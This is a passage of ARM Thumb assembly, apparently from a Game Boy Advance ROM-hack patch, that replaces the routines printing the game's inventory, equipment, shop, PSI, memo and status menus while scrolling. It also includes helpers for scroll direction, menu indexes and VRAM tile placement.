mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_skills_scroll_print_end: add sp,#8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment submenu scrolling will print, based off of 0x8047A78 //============================================================================================= .new_equip_submenu_scroll_print: push {r4-r7,lr} add sp,#-4 //base code mov r2,r0 ldr r1,=#0x2016028 mov r6,#1 //New code bl .get_direction_submenu cmp r0,#0 bne .new_equip_submenu_scroll_print_descending ldrh r0,[r2,#8] b + .new_equip_submenu_scroll_print_descending: ldrh r0,[r2,#8] add r0,#7 + lsl r0,r0,#2 //base code mov r2,#0xD3 lsl r2,r2,#6 add r1,r1,r2 add r4,r0,r1 mov r5,#0 cmp r5,r6 bcs .new_equip_submenu_scroll_print_end mov r7,#0xF ldrb r0,[r4,#0] cmp r0,#0 bne .new_equip_submenu_scroll_print_item // This branch prints None at the bottom mov r0,#0x58 bl $80486A0 bl .get_equip_submenu_height //New code str r7,[sp,#0] //base code mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C b .new_equip_submenu_scroll_print_end .new_equip_submenu_scroll_print_item: ldrb r1,[r4,#0] mov r0,#2 bl $8001C5C mov r1,r0 bl .get_equip_submenu_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#9 cmp r0,#0 bge .new_equip_submenu_scroll_print_item_grey str r7,[sp,#0] b + .new_equip_submenu_scroll_print_item_grey: mov r0,#1 str r0,[sp,#0] + mov r0,r1 mov r1,#0xC mov r3,#0x16 bl $8047B9C .new_equip_submenu_scroll_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the selling menu scrolling will print, based off of 0x80477BC. // Also covers buying thanks to .get_x_shop, which is at 0x804774C //============================================================================================= .new_shop_scroll_print: push {r4-r6,lr} add sp,#-4 mov r2,r0 //base code ldr r1,=#0x2016028 bl .get_direction //New code cmp r0,#0 bne .new_shop_scroll_print_descending ldrh r0,[r2,#8] b + .new_shop_scroll_print_descending: ldrh r0,[r2,#8] add r0,#5 + bl .get_added_value_menu_valid //Code used in order to cover both buying and selling lsl r0,r0,#2 //base code add r1,r1,r2 add r4,r0,r1 ldrb r1,[r4,#0] //If we're scrolling, we have at least one item here mov r0,#2 bl $8001C5C mov r1,r0 bl .get_shop_height //New code ldr r0,[r4,#0] //base code lsl r0,r0,#0xA cmp r0,#0 bge + mov r0,#0xF b .new_shop_scroll_print_continue + mov r0,#1 .new_shop_scroll_print_continue: str r0,[sp,#0] mov r0,r1 bl .get_x_shop //Covers both buying and selling mov r3,#0x16 bl $8047B9C add sp,#4 pop {r4-r6,pc} //============================================================================================= // Returns as the X the menu identifier -1. This is an optimization due to where stuff is normally printed. // The two values are not actually related. They're 0xA for selling and 0x9 for buying //============================================================================================= .get_x_shop: ldr r1,=#0x201A288 ldrb r1,[r1,#0] sub r1,#1 bx lr //============================================================================================= // Returns the value that has to be added in order to go to the proper menu's inventory. // If it's for the PSI menu, it has the inventory's number in r0 //============================================================================================= .get_added_value_menu_valid: push {r1} ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#0xB beq .get_added_value_sell_valid cmp r2,#0xA beq .get_added_value_buy_valid cmp r2,#0x2 beq .get_added_value_psi_valid b + .get_added_value_psi_valid: mov r2,#0x35 lsl r2,r2,#8 lsl r1,r0,#7 add r2,r2,r1 b + .get_added_value_buy_valid: ldr r2,=#0x3D44 b + .get_added_value_sell_valid: mov r2,#0xD2 lsl r2,r2,#6 + pop {r1} bx lr //============================================================================================= // This hack changes what the psi scrolling will print, based off of 0x80471B4 // Base game bug: when you use a party wide PSI in this menu and end up with fewer PPs than // the PPs required to use a PSI, this isn't reflected in the PSI's colour. // Putting this here in order to fix it at a later date. //============================================================================================= .new_psi_scroll_print: push {r4-r7,lr} add sp,#-4 mov r2,r0 //base code ldr r4,=#0x2016028 ldrh r3,[r2,#0xA] lsl r0,r3,#1 ldr r5,=#0x4270 add r1,r4,r5 add r1,r0,r1 //If we're scrolling, the character has for sure > 0 PSI bl .get_direction //New code! cmp r0,#0 bne .new_psi_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_psi_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xE sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r7,r2,#0x10 lsl r3,r3,#7 lsl r0,r1,#2 mov r5,#0xD4 lsl r5,r5,#6 add r1,r4,r5 add r0,r0,r1 add r4,r3,r0 mov r6,#0 lsr r2,r2,#0x11 cmp r6,r2 bcs + ldrb r1,[r4,#0] //Set the thing to print the bottom two psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height mov r5,r2 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C add r4,#4 ldrb r1,[r4,#0] mov r0,#8 bl $8001C5C mov r3,r0 mov r2,r5 ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#0xA mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r5,#1 mov r0,r7 and r0,r5 cmp r0,#0 beq + ldrb r1,[r4,#0] //Set the thing to print the bottom psi at the right position mov r0,#8 bl $8001C5C mov r3,r0 bl .get_inventory_height ldr r0,[r4,#0] bl .get_psi_usable str r0,[sp,#0] mov r0,r3 mov r1,#1 mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the memoes scrolling will print, based off of 0x80475A4 //============================================================================================= .new_memoes_scroll_print: push {r4-r7,lr} mov r7,r8 //base code push {r7} add sp,#-4 ldr r3,=#0x2016028 ldr r2,=#0x427E add r1,r3,r2 mov r2,r0 bl .get_direction //New code! cmp r0,#0 bne .new_memoes_scroll_print_descending mov r0,#2 ldrh r1,[r2,#8] b + .new_memoes_scroll_print_descending: ldrh r0,[r1,#0] ldrh r1,[r2,#8] add r1,#0xC sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r0,r0,#0x10 //base code lsr r4,r0,#0x10 mov r8,r4 lsl r2,r1,#2 ldr r4,=#0x3BFC add r1,r3,r4 add r4,r2,r1 mov r7,#0 lsr r0,r0,#0x11 cmp r7,r0 bcs .new_memoes_scroll_print_end_of_double ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r3,r0 bl .get_memoes_height //New code mov r6,#1 neg r6,r6 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r3 //base code mov r1,#1 mov r3,r6 bl $8047B9C add r4,#4 ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end_of_double ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New code mov r3,#1 neg r3,r3 ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0xB bl $8047B9C add r4,#4 .new_memoes_scroll_print_end_of_double: ldr r0,[r4,#0] lsl r0,r0,#0xA cmp r0,#0 bge .new_memoes_scroll_print_end mov r5,#1 mov r0,r8 and r0,r5 cmp r0,#0 beq .new_memoes_scroll_print_end ldrb r0,[r4,#0] bl $80486D8 mov r1,r0 bl .get_memoes_height //New Code ldr r0,[r4,#0] lsl r0,r0,#9 bl .new_memoes_scroll_print_get_colour str r0,[sp,#0] //Optimize code size mov r0,r1 //base code mov r1,#0x1 neg r3,r1 bl $8047B9C .new_memoes_scroll_print_end: add sp,#4 pop {r3} mov r8,r3 pop {r4-r7,pc} //============================================================================================= // This hack gets the colour that should be printed for the memo item //============================================================================================= .new_memoes_scroll_print_get_colour: cmp r0,#0 bge + mov r0,#0xF b .new_memoes_scroll_print_get_colour_end + mov r0,#1 .new_memoes_scroll_print_get_colour_end: bx lr //============================================================================================= // This hack changes what the withdrawing scrolling will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 bl .get_direction //New code! cmp r0,#0 bne .new_withdrawing_scroll_print_descending mov r0,#2 ldrh r1,[r1,#8] b + .new_withdrawing_scroll_print_descending: ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r8,r0 //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA bl .get_inventory_height mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0x1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the withdrawing will print, based off of 0x8047900 //============================================================================================= .new_withdrawing_a_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 ldr r0,=#0x4282 add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xF sub r0,r0,r1 cmp r0,#1 ble + mov r0,#1 + lsl r2,r0,#0x10 //base code lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 ldr r4,=#0x3DBC add r0,r3,r4 add r5,r1,r0 mov r7,#0xF mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq + ldrb r1,[r5,#0] //Set the thing to print the bottom item at the right position mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xA mov r2,#0x9 mov r3,#0x16 bl $8047B9C mov r0,#0 mov r1,#0 mov r2,#1 bl $8047D90 + add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the status menu will print, based off of 0x80472BC //============================================================================================= .new_status_print: push {r4-r7,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_status cmp r0,#0 //Can this character's data be shown? beq + b .new_status_print_end + mov r4,#0 mov r7,r5 add r7,#0x34 //Go pick up the character's equipment mov r6,#0xF - add r1,r7,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_status_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_status_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address add r2,r4,#5 str r6,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - mov r0,r5 bl $8047B0C //Print Skill ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_status_print_end + mov r0,#0x47 //If it hasn't, reprint it bl $80486A0 //Level text, get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4C //EXP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4D //Next Level text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4E //HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x50 //PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#9 mov r2,#4 mov r3,r5 bl improve_performances_menus.status_vram_equip_descriptors //Load OAM entries in VRAM .new_status_print_end: add sp,#4 pop {r4-r7,pc} //============================================================================================= // This hack changes what the equipment menu will print, based off of 0x80470A8 //============================================================================================= .new_equip_print: push {r4-r6,lr} add sp,#-4 //base code ldrh r0,[r0,#0xA] bl $8054FE0 //Get character's address mov r5,r0 bl .delete_vram_equip cmp r0,#0 //Can this character's data be shown? beq + b .new_equip_print_end + mov r4,#0 mov r6,r5 add r6,#0x34 //Go pick up the character's equipment mov r5,#0xF - add r1,r6,r4 //Get Xth item ldrb r0,[r1,#0] cmp r0,#0 bne .new_equip_print_item //Is an item equipped? mov r0,#2 bl $80486A0 //If not, order printing "-----" lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#1 neg r3,r3 bl $8047B9C //Order its printing b + .new_equip_print_item: ldrb r1,[r1,#0] //Load the item that has to be printed mov r0,#2 bl $8001C5C //Load its address lsl r2,r4,#0x11 mov r1,#0xC0 lsl r1,r1,#0xA add r2,r2,r1 lsr r2,r2,#0x10 str r5,[sp,#0] mov r1,#0xC mov r3,#0x16 bl $8047B9C //Order its printing + add r4,#1 cmp r4,#3 //Cycle the equipment in its entirety bls - ldr r0,=#0x20169FA //Has the gray text been printed? ldrh r0,[r0,#0] cmp r0,#0 beq + b .new_equip_print_end + //If it hasn't, reprint it bl improve_performances_menus.equipment_vram_equip_descriptors //Load OAM entries in VRAM mov r0,#0x47 //Level text bl $80486A0 //Get the pointer to it mov r5,#1 neg r5,r5 mov r4,#1 str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#3 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4F //Max HP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#4 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x51 //Max PP text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x48 //Offense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x49 //Defense text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4A //IQ text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x4B //Speed text bl $80486A0 //Get the pointer to it str r4,[sp,#0] //Gray text mov r1,#1 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing .new_equip_print_end: add sp,#4 pop {r4-r6,pc} //============================================================================================= // This hack changes what the main inventory scrolling will print, based off of 0x8046EF0 //============================================================================================= .new_main_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r3,r0 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r1,r2,r0 ldrh r0,[r3,#0xA] ldrh r1,[r1,#0] //is this the key items inventory? cmp r0,r1 bcc .new_main_inventory_scroll_print_end mov r0,r3 bl .new_key_inventory_scroll_print .new_main_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack changes what scrolling in the key items inventory will print, based off of 0x8046FD8 //============================================================================================= .new_key_inventory_scroll_print: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-4 //base code mov r1,r0 ldr r3,=#0x2016028 bl .get_direction cmp r0,#0 bne .new_key_inventory_scroll_print_descending_items mov r0,#2 //If we're scrolling up, there will be two items for sure. No need to edit r1 either. ldrh r1,[r1,#8] b + .new_key_inventory_scroll_print_descending_items: ldr r0,=#0x426A add r2,r3,r0 ldrh r0,[r2,#0] ldrh r1,[r1,#8] add r1,#0xE //Only if we're descending! sub r0,r0,r1 cmp r0,#2 ble + mov r0,#2 + lsl r2,r0,#0x10 lsr r4,r2,#0x10 mov r9,r4 lsl r1,r1,#2 mov r4,#0xC2 lsl r4,r4,#6 add r0,r3,r4 add r5,r1,r0 mov r6,#0 lsr r0,r2,#0x11 cmp r6,r0 bcs + mov r7,#0xF //Set the thing to print the bottom two items at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C add r5,#0x4 ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#0xB bl .get_inventory_height mov r3,#0x16 bl $8047B9C + mov r0,#1 mov r1,r9 and r0,r1 cmp r0,#0 beq .new_key_inventory_scroll_print_end mov r7,#0xF //Set the thing to print the bottom item at the right position ldrb r1,[r5,#0] mov r0,#2 bl $8001C5C str r7,[sp,#0] mov r1,#1 bl .get_inventory_height mov r3,#0x16 bl $8047B9C .new_key_inventory_scroll_print_end: add sp,#4 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7,pc} //============================================================================================= // This hack gets the scrolling direction for any given menu //============================================================================================= .get_direction: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 mov r2,#1 ldrh r0,[r1,#0xA] ldrh r1,[r1,#0xE] lsr r0,r0,#1 lsr r1,r1,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the scrolling direction for any given submenu //============================================================================================= .get_direction_submenu: push {r1-r2,lr} ldr r1,=#0x2016028 ldr r2,=#0x3060 add r1,r1,r2 //Get submenu info array in RAM ldrh r0,[r1,#0x4] ldrh r1,[r1,#0x8] lsr r0,r0,#1 lsr r1,r1,#1 mov r2,#1 cmp r0,r1 bne + mov r2,#0 //Going up if they're the same! Otherwise, going down! + mov r0,r2 pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the top item for any given menu //============================================================================================= .get_top_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in any given menu //============================================================================================= .get_total_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0x8] pop {r1-r2,pc} //============================================================================================= // This hack gets the number of items in a character's inventory //============================================================================================= .get_character_inventory_total_indexes: push {r1,lr} ldr r0,=#0x2016028 ldr r1,=#0x426C add r0,r0,r1 ldrh r0,[r0,#0] pop {r1,pc} //============================================================================================= // This hack gets the number of show-able items in any given menu //============================================================================================= .get_possible_indexes: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xC] pop {r1-r2,pc} //============================================================================================= // This hack gets the index of the currently selected item for any given menu //============================================================================================= .get_selected_index: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] pop {r1-r2,pc} //============================================================================================= // This hack sets the index of the currently selected item to a specific value. // It returns in r0 the previous selected item value //============================================================================================= .set_selected_index: push {r1-r3,lr} mov r3,r0 ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xA] strh r3,[r1,#0xA] pop {r1-r3,pc} //============================================================================================= // This hack gets the difference between the top index and the total amount of items //============================================================================================= .get_difference_top_total: push {r1-r2,lr} ldr r1,=#0x201A288 ldrb r1,[r1,#0] //Get menu type lsl r1,r1,#5 ldr r2,=#0x2016028 ldr r0,=#0x2DFA add r0,r2,r0 //Get menu info array in RAM add r1,r0,r1 ldrh r0,[r1,#0xE] //Top index ldrh r1,[r1,#0x8] //Total items sub r0,r1,r0 //Total items - Top index pop {r1-r2,pc} //============================================================================================= // This hack gets the height for printing in the inventory/withdrawing menu //============================================================================================= .get_inventory_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_inventory_height_descending mov r2,#0x2 b .get_inventory_height_end .get_inventory_height_descending: mov r2,#0x9 .get_inventory_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the equip submenu //============================================================================================= .get_equip_submenu_height: push {r0,lr} bl .get_direction_submenu cmp r0,#0 bne .get_equip_submenu_height_descending mov r2,#0x2 b .get_equip_submenu_height_end .get_equip_submenu_height_descending: mov r2,#0x9 .get_equip_submenu_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the battle memoes menu //============================================================================================= .get_battle_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 beq + mov r0,#8 sub r0,r0,r6 add r2,r2,r0 + pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the memoes menu //============================================================================================= .get_memoes_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_memoes_height_descending mov r2,#0x3 b .get_memoes_height_end .get_memoes_height_descending: mov r2,#0x9 .get_memoes_height_end: pop {r0,pc} //============================================================================================= // This hack gets the height for printing in the shop menu //============================================================================================= .get_shop_height: push {r0,lr} bl .get_direction cmp r0,#0 bne .get_shop_height_descending mov r2,#0x2 b .get_shop_height_end .get_shop_height_descending: mov r2,#0x7 .get_shop_height_end: pop {r0,pc} //============================================================================================= // This hack gets the color for the psi when printing in the psi menu. r0 is the input value //============================================================================================= .get_psi_usable: lsl r0,r0,#0xA cmp r0,#0 bge .psi_not_usable mov r0,#0xF b + .psi_not_usable: mov r0,#1 + bx lr //============================================================================================= // This hack is called in order to change where everything is printed in VRAM. Based on 0x80487D4 //============================================================================================= .new_print_vram_container: push {r4,r5,lr} add sp,#-4 str r0,[sp,#0] ldr r4,=#0x201AEF8 //We avoid printing OAM entries... ldr r0,=#0x76DC //Base code add r5,r4,r0 ldrb r1,[r5,#0] mov r0,#8 and r0,r1 cmp r0,#0 beq + mov r0,r4 bl $8048878 mov r0,r4 bl $80489F8 mov r0,r4 bl $8048C5C + bl .load_remaining_strings_external ldr r3,=#0x76D6 add r0,r4,r3 mov r2,#0 strb r1,[r0,#0] add r3,#1 add r0,r4,r3 strb r2,[r0,#0] lsl r1,r1,#0x18 cmp r1,#0 beq + mov r0,r4 ldr r1,[sp,#0] bl .print_vram //New code! + ldr r1,=#0x6C28 add r0,r4,r1 ldr r0,[r0,#0] ldrb r1,[r0,#0x11] cmp r1,#0 bne + ldr r2,=#0x3004B00 ldrh r0,[r2,#0] cmp r0,#0 beq + ldr r3,=#0xFFFFF390 add r0,r4,r3 ldrb r0,[r0,#0] cmp r0,#0 blt + cmp r0,#2 ble .new_print_vram_container_inner cmp r0,#4 bne + .new_print_vram_container_inner: strh r1,[r2,#0] + add sp,#4 pop {r4,r5,pc} //============================================================================================= // This hack moves the graphics for the Equip menu and the Status menu. // It also makes the arrangements point to them //============================================================================================= .new_graphics_arrangements_movement_table: dd $01A40204; dd $02A40105 .new_move_graphics_arrangements: push {r4-r7,lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsr r0,r0,#1 lsl r0,r0,#2 ldr r1,=#.new_graphics_arrangements_movement_table add r6,r1,r0 //Load how to move stuff, based upon the menu ldr r7,=#0x600E800 ldrh r1,[r6,#2] add r7,r7,r1 //Where to start mov r5,#0 //Current entry .new_move_graphics_arrangements_loop: mov r4,#0 //Number of tiles to move mov r1,r7 ldrh r3,[r1,#0] //Save starting tile - ldrh r0,[r1,#0] //Get how many tiles need to be moved cmp r0,#0 beq + add r4,#1 add r1,#2 b - + cmp r4,#0 //If nothing to copy, skip! beq + lsr r2,r5,#1 //Get where to put the graphics lsl r2,r2,#11 mov r1,#1 and r1,r5 lsl r1,r1,#9 add r2,r2,r1 add r2,#0x20 push {r5-r7} lsr r7,r2,#5 //Save starting tile number lsl r0,r3,#5 //Get actual address ldr r1,=#0x6008000 //Graphics start add r0,r1,r0 //Source add r1,r1,r2 //Target mov r5,r0 mov r6,r1 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r5 mov r1,r6 mov r2,#4 lsl r2,r2,#8 add r0,r0,r2 //Copy the bottom as well add r1,r1,r2 lsl r2,r4,#3 //Number of words to copy swi #0xC mov r0,r7 //New starting tile number mov r1,r7 add r1,#0x20 //New bottom starting tile number pop {r5-r7} mov r2,r7 //Replace arrangements mov r3,r7 add r3,#0x40 - strh r0,[r2,#0] strh r1,[r3,#0] add r0,#1 add r1,#1 add r2,#2 add r3,#2 sub r4,#1 cmp r4,#0 bne - + ldrb r1,[r6,#0] //Number of entries ldrb r2,[r6,#1] lsl r2,r2,#7 add r7,r7,r2 //How much to add to the base arrangements add r5,#1 cmp r5,r1 bne .new_move_graphics_arrangements_loop pop {r4-r7,pc} //============================================================================================= // This hack gets the selected character's number. //============================================================================================= .new_get_menu_character_number: push {r1-r3,lr} mov r2,r0 ldr r1,=#0x2016028 mov r0,#0xB8 lsl r0,r0,#6 add r0,r0,r1 lsl r1,r2,#5 add r0,r0,r1 ldrh r0,[r0,#0xA] bl $8054FE0 ldrb r0,[r0,#0] pop {r1-r3,pc} //============================================================================================= // This hack changes the target vram address to whatever we want it to be. // It uses the values found by new_get_empty_tiles //============================================================================================= .new_get_address: ldr r1,[sp,#0x20+0x24] cmp r0,r1 //If we're after a certain threshold (which depends on the menu), use the second address blt + ldr r1,[sp,#0x20+0x1C] b .new_get_address_keep_going + ldr r1,[sp,#0x20+0x20] .new_get_address_keep_going: lsl r0,r0,#0x10 lsr r0,r0,#0xB add r0,r0,r1 bx lr //============================================================================================= // This hack gets the tiles which will be empty //============================================================================================= //Table that dictates which menus are valid to read the empty buffer tiles of .new_get_empty_tiles_valid: dw $8CB7; dw $0000 //Table which dictates the limit value of a menu used to change the valid buffer tiles to the second ones .new_get_empty_tiles_limit_values: db $10; db $12; db $0F; db $FF; db $0F; db $10; db $FF; db $10 db $FF; db $FF; db $0D; db $0F; db $FF; db $FF; db $FF; db $0F db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF; db $FF //Table that indicates which menus only use one line to the right instead of one to the left (safe) or two .new_get_empty_tiles_types: dw $80B7; dw $0000 .new_get_empty_tiles: push {r4-r6,lr} add sp,#-4 ldr r0,=#0x2016078 mov r1,#1 mov r2,#0 mov r3,#0 bl $8001378 ldr r1,=#0x201A288 ldr r3,=#.new_get_empty_tiles_valid ldrh r2,[r3,#2] ldrh r3,[r3,#0] lsl r2,r2,#0x10 orr r3,r2 ldrb r2,[r1,#0] mov r1,#1 lsl r1,r2 and r1,r3 cmp r1,#0 bne + ldr r6,=#0x6008000 mov r0,r6 mov r1,r6 b .end_new_get_empty_tiles + mov r3,r0 add r3,#0x82 ldr r4,=#.new_get_empty_tiles_types //Determine if this is a right single column menu or not ldrh r0,[r4,#2] ldrh r4,[r4,#0] lsl r0,r0,#0x10 orr r4,r0 mov r0,#1 lsl r0,r2 and r0,r4 cmp r0,#0 beq + ldr r4,=#0xFFF00003 //Bitmap for occupied/not occupied zone when double columned b .new_get_empty_tiles_gotten_type + ldr r4,=#0xFFF55557 //Bitmap for occupied/not occupied zone when single columned right .new_get_empty_tiles_gotten_type: mov r5,#0 ldr r6,=#.new_get_empty_tiles_limit_values add r6,r6,r2 ldrb r6,[r6,#0] cmp 